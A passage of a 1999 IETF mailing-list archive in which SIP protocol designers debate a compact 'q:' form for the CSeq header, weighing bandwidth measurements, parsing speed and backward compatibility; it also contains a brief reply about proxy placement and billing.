> still get decent post-dial delay performance.
> 
> If you have a continuous stream, it might be better to use a lower-layer
> compression mechanism (such as those in PPP). They will automatically
> reduce CSeq to a few bits, as the string will make it quickly into the
> dictionary. Thus, if you compare the actual on-the-wire bit count of an
> INVITE with Cseq and an INVITE with q, I wouldn't be surprised if there
> would be no difference in size at all.
> 
> To test the hypothesis, I created some SIP-only INVITE request of the
> form
> 
> 
> INVITE Y&,=n#)&); SIP/2.0
> v:SIP/2.0/UDP bcde
> f:petrack
> t:Y&,=n#)&);
> q:1 INVITE
> c:application/sdp
> l:100
> 
> where the To and request-URI are randomly generated 10-character strings
> and the From and Via headers are constant. I'm assuming here that the
> proxy adds the local domain, for example. When "sending" 13 of these
> requests, each with a different random request-URI, To and Length, we
> get the following results for the total of 13 requests and the average
> request size:
> 
> using Cseq: uncompressed=1345 bytes (103 bytes/request); gzip'ed: 353
> bytes (27.15 B/r)
> using q:    uncompressed=1306 bytes (100 bytes/request); gzip'ed: 352
> bytes (27.07 B/r)
> 
> Thus, for this example, we get a grand effective saving of 0.08 bytes
> per request, or a little more than 0.6 bits/request. I'd imagine that
> this saving gets even smaller as the number of INVITE requests increase.
> 
> > 
> > In the next version I would be happy to see *every* header field have a
> > one-letter compact form. If you make the compact form case sensitive this
> > is easily done, otherwise perhaps you'll choose a character other than
> > ":" (colon) for the second byte. (e.g. make the compact form of
> > "Authorization" be "a:" and the short form of "Accept:" be "a/"). At
> > the very least let's have a short form for the more common optional
> > headers. (I need one for "Warning:", for error processing).
> > 
> > I know that many people have OC-48s to the desktop, but I don't have one
> > to my wireless PDA (no, that's not my application ;-)). And while it is
> > true that some of the fields are of necessity very long (like long sip
> > addresses), I can deal with that by rewriting certain names in proxies.
> > Of course I can use the same proxies to rewrite "CSeq:" as "q:", but I
> > think there is a big win if we can all agree on compact encodings that we
> > can all use.
> > 
> > Could we all agree on a letter NOW at least for the mandatory CSeq: field?
> > If no one cares I vote for "q:", just because it's in CSeq and is not
> > too common. If one of the SIP authors would publish a complete list of
> > compact names, that would be great. (I vote for "w:" for Warning:)
> > 
> > Thanks,
> > 
> > Scott
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 


From confctrl-owner  Tue Jun  1 14:29:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA00872
	for confctrl-outgoing; Tue, 1 Jun 1999 14:29:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00867
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 14:29:49 -0700 (PDT)
Received: from petrack.metatel.com (root@ts001d25.cht-ma.concentric.net [206.173.19.37])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15154
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 14:29:43 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id KAA03993;
	Sun, 30 May 1999 10:43:56 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Sun, 30 May 1999 10:43:55 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: mjh@aciri.org, schulzrinne@cs.columbia.edu, schooler@cs.caltech.edu,
        jdrosen@bell-labs.com
cc: confctrl@ISI.EDU
Subject: Compact name for CSeq: (and for everything else)
In-Reply-To: <Pine.LNX.4.10.9905300957250.2995-100000@petrack.metatel.com>
Message-ID: <Pine.LNX.4.10.9905301039420.3852-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


For a particular application I am doing I have a severe bandwidth
constraint, and since CSeq: is a mandatory field, I would like to ask that
a compact name be chosen for it. I'll vote for "q". 

In the next version I would be happy to see *every* header field have a 
one-letter compact form. If you make the compact form case sensitive this
is easily done, otherwise perhaps you'll choose a character other than
":" (colon) for the second byte. (e.g. make the compact form of 
"Authorization" be "a:" and the short form of "Accept:" be "a/"). At 
the very least let's have a short form for the more common optional
headers. (I need one for "Warning:", for error processing). 

I know that many people have OC-48s to the desktop, but I don't have one
to my wireless PDA (no, that's not my application ;-)). And while it is 
true that some of the fields are of necessity very long (like long sip
addresses), I can deal with that by rewriting certain names in proxies. 
Of course I can use the same proxies to rewrite "CSeq:" as "q:", but I
think there is a big win if we can all agree on compact encodings that we
can all use.

Could the authors publish a letter at least for the mandatory CSeq: field?
If no one cares I vote for "q:", just because it's in CSeq and is not
too common. If you could fix a complete list of  compact names, that would
be great. (I need one now for "Warning:", maybe "w"), but 
in the meantime, just the Cseq: would be very helpful indeed.

Thanks, 

Scott




From confctrl-owner  Tue Jun  1 14:54:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA02380
	for confctrl-outgoing; Tue, 1 Jun 1999 14:54:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02375
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 14:54:12 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18963
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 14:54:11 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id RAA09915;
	Tue, 1 Jun 1999 17:54:09 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id RAA01779;
	Tue, 1 Jun 1999 17:54:08 -0400 (EDT)
Message-ID: <37545680.5A226A05@cs.columbia.edu>
Date: Tue, 01 Jun 1999 17:54:08 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> OK, I'll come clean.
> 
> 1. I want all SIP headers to be fixed length. All the compact forms have
> two bytes (a letter and a colon), and I would like to be able to
> process a lot of headers very quickly.

My hunch is that the difference in processing speed will be completely
invisible. You can still have a "fast path" that checks whether this is
a X: case. If not, you go into slow path for the one or two headers that
are not. Slow path here means an extra strcmp. You can even compare CSeq
to an integer in one instruction, if you like (kind of why ftp commands
were 4 characters long)...

> 
> 2. As far as backward compatibility goes, in any
> case the standard says I have to accept the long and the short form from
> an "older system".
> If I start talking to a system that doesn't understand the new compact
> form, I will get a "bad request" error, and I hope the correct Warning:
> line with decent warn text, and I promise I will send the long form.
> But for the few million messages I intend to process, the gain of
> having fixed length headers on processing is very useful.
> 



-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jun  1 15:00:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA02861
	for confctrl-outgoing; Tue, 1 Jun 1999 15:00:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02856
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 15:00:42 -0700 (PDT)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21425
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 15:00:41 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id PAA57241;
	Tue, 1 Jun 1999 15:00:06 -0700 (PDT)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Scott Petrack <scott.petrack@metatel.com>, schooler@cs.caltech.edu,
        jdrosen@bell-labs.com, confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else) 
In-reply-to: Your message of "Tue, 01 Jun 1999 17:54:08 EDT."
             <37545680.5A226A05@cs.columbia.edu> 
Date: Tue, 01 Jun 1999 15:00:03 -0700
Message-ID: <57223.928274403@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Scott Petrack wrote:
>> 
>> OK, I'll come clean.
>> 
>> 1. I want all SIP headers to be fixed length. All the compact forms have
>> two bytes (a letter and a colon), and I would like to be able to
>> process a lot of headers very quickly.
>
>My hunch is that the difference in processing speed will be completely
>invisible. You can still have a "fast path" that checks whether this is
>a X: case. If not, you go into slow path for the one or two headers that
>are not. Slow path here means an extra strcmp. You can even compare CSeq
>to an integer in one instruction, if you like (kind of why ftp commands
>were 4 characters long)...

I have to agree with Henning here - I can't see a case where I really
believe this will make any significant difference.  I'd prefer not to
make any changes to the spec that adversely affect its stability
unless there's a really strong case.  

Cheers,
	Mark

From confctrl-owner  Tue Jun  1 15:34:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA04921
	for confctrl-outgoing; Tue, 1 Jun 1999 15:34:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA04916
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 15:34:34 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA27028
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 15:34:33 -0700 (PDT)
Received: from seawind.research.telcordia.com (seawind [192.4.18.101])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id SAA26284;
	Tue, 1 Jun 1999 18:34:00 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.research.telcordia.com (8.8.8/8.8.8) id SAA01562;
	Tue, 1 Jun 1999 18:33:58 -0400 (EDT)
Date: Tue, 1 Jun 1999 18:33:58 -0400 (EDT)
From: Christian Huitema <huitema@research.telcordia.com>
Message-Id: <990601183357.ZM1560@seawind.research.telcordia.com>
In-Reply-To: Scott Petrack <scott.petrack@metatel.com>
        "Re: Compact name for CSeq: (and for everything else)" (Jun  1,  3:05pm)
References: <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Scott Petrack <scott.petrack@metatel.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Compact name for CSeq: (and for everything else)
Cc: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Jun 1,  3:05pm, Scott Petrack wrote:
> Subject: Re: Compact name for CSeq: (and for everything else)
> OK, I'll come clean.
>
> 1. I want all SIP headers to be fixed length. All the compact forms have
> two bytes (a letter and a colon), and I would like to be able to
> process a lot of headers very quickly.

I would support Scott there. There is a lot to be gained in terms of
performance if the headers are short, and 2 bytes is as short as it gets.
 It enables a number of fast path optimizations, etc.

> 2. As far as backward compatibility goes, in any
> case the standard says I have to accept the long and the short form from
> an "older system".

Basically, this means that any long version will be treated out of the
fast path.  This is probably OK, since the emphasis would be on
compatibility, or user readability.

-- 
Christian Huitema
------------------------------
Please note my new address: huitema@research.telcordia.com
http://www.telcordia.com/

From confctrl-owner  Tue Jun  1 16:29:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA25155
	for confctrl-outgoing; Tue, 1 Jun 1999 16:29:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA25107
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 16:29:34 -0700 (PDT)
Received: from l3mail02.l3.com (gdffw1.Denver1.Level3.net [209.244.1.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA03273
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 16:29:34 -0700 (PDT)
Received: from zimmerer-eric.l3.com (ZIMMERER-ERIC [10.6.99.147]) by l3mail02.l3.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LGAKRLYP; Tue, 1 Jun 1999 17:26:38 -0600
Date: Tue, 01 Jun 1999 17:35:01 -0600
From: Eric Zimmerer <eric.zimmerer@Level3.com>
To: Scott Petrack <scott.petrack@metatel.com>
Cc: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU, Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re[2]: Compact name for CSeq: (and for everything else)
In-Reply-To: <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com>
References: <37515576.E0D229AC@cs.columbia.edu> <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com>
Message-Id: <37546E2515E.C837ERIC.ZIMMERER@L3mail02.l3.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver 1.24
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott,

I read your confession with great sympathy.  

Level 3 and other carriers intend to send large volumes of SIP+ messages,
and the benefits of compact standard length headers are substantial.

Eric Zimmerer
Level 3 Communications, Inc.
Phone: 303-926-3142

OK, I'll come clean.

1. I want all SIP headers to be fixed length. All the compact forms have
two bytes (a letter and a colon), and I would like to be able to 
process a lot of headers very quickly. 

2. As far as backward compatibility goes, in any 
case the standard says I have to accept the long and the short form from
an "older system". 
If I start talking to a system that doesn't understand the new compact
form, I will get a "bad request" error, and I hope the correct Warning:
line with decent warn text, and I promise I will send the long form. 
But for the few million messages I intend to process, the gain of 
having fixed length headers on processing is very useful.



Scott


On Sun, 30 May 1999, Henning Schulzrinne wrote:

> Scott Petrack wrote:
> > 
> > For a particular application I am doing I have a severe bandwidth
> > constraint, and since CSeq: is a mandatory field, I would like to ask that
> > you bless a compact name for it. I'll vote for "q".
> 
> The one problem I have with creating abbreviations for headers such as
> CSeq is that it immediately breaks all implementations. This wouldn't be
> so bad for informational headers (Organization, Subject, Priority, etc.)
> [and we might indeed want to do this], but is more serious for headers
> like CSeq, which are necessary for a proxy or UAS to process the
> request. Given that the savings is 3 bytes, I have to admit to a certain
> reluctance to breaking all existing implementations. (I know that we
> have no "legal" obligation to be backward compatible as we move to Draft
> Standard, but it doesn't exactly help the reputation of the protocol to
> make what may seem like gratuitous, but crucial, changes to basic
> aspects of it.)
> 
> Assuming you are carrying a real media stream, I have to assume that
> your access bandwidth is at least 2.4 kb/s. At that rate, a 200-byte SIP
> request would take about one second to transmit. Not great, but you can
> still get decent post-dial delay performance.
> 
> If you have a continuous stream, it might be better to use a lower-layer
> compression mechanism (such as those in PPP). They will automatically
> reduce CSeq to a few bits, as the string will make it quickly into the
> dictionary. Thus, if you compare the actual on-the-wire bit count of an
> INVITE with Cseq and an INVITE with q, I wouldn't be surprised if there
> would be no difference in size at all.
> 
> To test the hypothesis, I created some SIP-only INVITE request of the
> form
> 
> 
> INVITE Y&,=n#)&); SIP/2.0
> v:SIP/2.0/UDP bcde
> f:petrack
> t:Y&,=n#)&);
> q:1 INVITE
> c:application/sdp
> l:100
> 
> where the To and request-URI are randomly generated 10-character strings
> and the From and Via headers are constant. I'm assuming here that the
> proxy adds the local domain, for example. When "sending" 13 of these
> requests, each with a different random request-URI, To and Length, we
> get the following results for the total of 13 requests and the average
> request size:
> 
> using Cseq: uncompressed=1345 bytes (103 bytes/request); gzip'ed: 353
> bytes (27.15 B/r)
> using q:    uncompressed=1306 bytes (100 bytes/request); gzip'ed: 352
> bytes (27.07 B/r)
> 
> Thus, for this example, we get a grand effective saving of 0.08 bytes
> per request, or a little more than 0.6 bits/request. I'd imagine that
> this saving gets even smaller as the number of INVITE requests increase.
> 
> > 
> > In the next version I would be happy to see *every* header field have a
> > one-letter compact form. If you make the compact form case sensitive this
> > is easily done, otherwise perhaps you'll choose a character other than
> > ":" (colon) for the second byte. (e.g. make the compact form of
> > "Authorization" be "a:" and the short form of "Accept:" be "a/"). At
> > the very least let's have a short form for the more common optional
> > headers. (I need one for "Warning:", for error processing).
> > 
> > I know that many people have OC-48s to the desktop, but I don't have one
> > to my wireless PDA (no, that's not my application ;-)). And while it is
> > true that some of the fields are of necessity very long (like long sip
> > addresses), I can deal with that by rewriting certain names in proxies.
> > Of course I can use the same proxies to rewrite "CSeq:" as "q:", but I
> > think there is a big win if we can all agree on compact encodings that we
> > can all use.
> > 
> > Could we all agree on a letter NOW at least for the mandatory CSeq: field?
> > If no one cares I vote for "q:", just because it's in CSeq and is not
> > too common. If one of the SIP authors would publish a complete list of
> > compact names, that would be great. (I vote for "w:" for Warning:)
> > 
> > Thanks,
> > 
> > Scott
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> 




From confctrl-owner  Tue Jun  1 16:51:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA05325
	for confctrl-outgoing; Tue, 1 Jun 1999 16:51:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA05317
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 16:51:08 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA05330
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 16:51:06 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA15770;
	Tue, 1 Jun 1999 19:51:05 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA03374;
	Tue, 1 Jun 1999 19:51:04 -0400 (EDT)
Message-ID: <375471E8.BDD4428@cs.columbia.edu>
Date: Tue, 01 Jun 1999 19:51:04 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Zimmerer <eric.zimmerer@Level3.com>
CC: Scott Petrack <scott.petrack@metatel.com>, mjh@aciri.org,
        schooler@cs.caltech.edu, jdrosen@bell-labs.com, confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <37515576.E0D229AC@cs.columbia.edu> <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com> <37546E2515E.C837ERIC.ZIMMERER@L3mail02.l3.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Zimmerer wrote:
> 
> Scott,
> 
> I read your confession with great sympathy.
> 
> Level 3 and other carriers intend to send large volumes of SIP+ messages,
> and the benefits of compact standard length headers are substantial.

Since we are doing engineering here, would somebody please quantify
"substantial"? All my measurements indicate that parsing header names
itself plays no significant role, with or without abbreviation. Code
like

union line {
  int w;
  char c[...]
}

switch line.c[0]
C:
  /* using 4-byte comparison here */
  if (line.w == 'CSeq') {
  }
f: "from" code
t: "to" code
etc.

is within a microsecond of code without the extra CSeq header bytes.

The damage done to the protocol due to divergent versions and the extra
testing due to error conditions is far higher than the microsecond
saved.

Thus, before you make blanket statements, may I ask you (plural) to
please at least provide pseudo code and preferably measurements before
calling for major changes? That said, Eric, I really think you should
change your email address. It is at least 13 bytes too long. e1@l3.com
must save each SMTP agent at least a millisecond or two. (And remember:
there already are and always will be far more email messages than phone
calls....) :-)

> 
> Eric Zimmerer
> Level 3 Communications, Inc.
> Phone: 303-926-3142
> 

> >

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jun  1 17:16:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA16498
	for confctrl-outgoing; Tue, 1 Jun 1999 17:16:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA16430
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 17:16:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA08168
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 17:16:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jun  1 20:14:43 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.170])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA16224;
	Tue, 1 Jun 1999 20:14:40 -0400 (EDT)
Message-ID: <3754778E.98245D00@dnrc.bell-labs.com>
Date: Tue, 01 Jun 1999 20:15:10 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Eric Zimmerer <eric.zimmerer@level3.com>
CC: Scott Petrack <scott.petrack@metatel.com>, mjh@aciri.org,
        schooler@cs.caltech.edu, jdrosen@bell-labs.com, confctrl@ISI.EDU,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Compact name for CSeq: (and for everything else)
References: <37515576.E0D229AC@cs.columbia.edu> <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com> <37546E2515E.C837ERIC.ZIMMERER@L3mail02.l3.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Zimmerer wrote:
> 
> I read your confession with great sympathy.
> 
> Level 3 and other carriers intend to send large volumes of SIP+ messages,
> and the benefits of compact standard length headers are substantial.

I think some quantitative analysis would help here. So, here's a minimal
SIP message, with minimal SDP:

INVITE sip:a SIP/2.0
f:sip:b
t:sip:b
i:0@0
CSeq:0 INVITE
c:application/sdp
l:73

v=0
o=a 0 0 IN IP4 1.1.1.1
s=a
t=0 0
m=audio 1 RTP/AVP 0
c=IN IP4 2.2.2.2


The SIP component has 80 bytes (don't forget the CR), and the SDP has
73. A SIP message without SDP could be 57 bytes (remove the Content
Length and Content Type headers). So:


                   Size with CSeq     Size with q    %reduction
SIP w/ SDP            153                150             3/153 = 1.96%
SIP w/o SDP            57                54              3/57 = 5.2%

So, we are not talking significant reductions, particularly in the
presence of SDP (the typical case). In the case of SIP+, there would
also be an ISUP payload (I'm not sure of the size), so the reduction is
probably less than 1%.

If we couple this with RTP, its even less. Lets assume a low rate code,
say 5.3 kbps g.723.1, and the average 3 minute call. Lets be
conservative, and go for a 120ms packetization delay. Thats 79.5 bytes
of payload, + 12 for RTP (I'll ignore UDP/IP since I did for the SIP
computation) = 91.5 -> 92 bytes per packet. There are 1500 packets in a
3 minute call (180 s / 120ms), for a total of 138,000 bytes total. This
is way way more than the 350 bytes it would roughly take for the
transaction.


> 2. As far as backward compatibility goes, in any
> case the standard says I have to accept the long and the short form from
> an "older system".
> If I start talking to a system that doesn't understand the new compact
> form, I will get a "bad request" error, and I hope the correct Warning:
> line with decent warn text, and I promise I will send the long form.
> But for the few million messages I intend to process, the gain of
> having fixed length headers on processing is very useful.

Alas, compatibility isn't that simple. Unknown headers are ignored. So,
since "q" is unknown, it will be ignored by both proxies and UA's. You
can force it to be recognized (and thus get the error back that you
mention), but this needs a Require header AND a Proxy-Require header.
So, the 3 bytes you save on CSeq are totally lost to Require and
Proxy-Require. There is no short form for Require/Proxy-Require either,
but even if there was, it would still be more than three bytes for the
whole thing.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun  1 19:12:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA13273
	for confctrl-outgoing; Tue, 1 Jun 1999 19:12:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA13242
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 19:12:08 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA17372
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 19:12:04 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jun  1 22:11:29 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.170])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA17885;
	Tue, 1 Jun 1999 22:11:27 -0400 (EDT)
Message-ID: <375492ED.EE062BCE@dnrc.bell-labs.com>
Date: Tue, 01 Jun 1999 22:11:57 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: sanjay@packetstream.com
CC: confctrl@ISI.EDU
Subject: Re: proxy server
References: <37540A45.8B00E52F@packetstream.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sanjay Nayak wrote:
> 
> i have couple of quick clarifications. could somebody help me out
> 
> 1.  will the SIP proxy servers go as part of routers, OR they are going
> as saparate components.

The server is a logical function. Put it wherever it makes you happy -
routers,gateways, separate elements, etc. Only requirement is that its
on a machine with a IP address that you can send packets to.

> 
> 2. how the billing works out in the SIP environment.

Lots of different ways, also not specified in the spec. Henning has some
info here on his FAQ:

http://www.cs.columbia.edu/~hgs/sip/faq.html#charging

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun  1 19:30:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA22567
	for confctrl-outgoing; Tue, 1 Jun 1999 19:30:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA22523
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 19:30:10 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA18135
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 19:30:06 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Jun  1 22:28:58 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.170])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA18102
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 22:28:57 -0400 (EDT)
Message-ID: <37549707.7C50F1AF@dnrc.bell-labs.com>
Date: Tue, 01 Jun 1999 22:29:27 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <37515576.E0D229AC@cs.columbia.edu> <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com> <37546E2515E.C837ERIC.ZIMMERER@L3mail02.l3.com> <3754778E.98245D00@dnrc.bell-labs.com> <37548BBB.297F3C8D@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Oops. It was pointed out to me that the UAS (and the proxy) would still
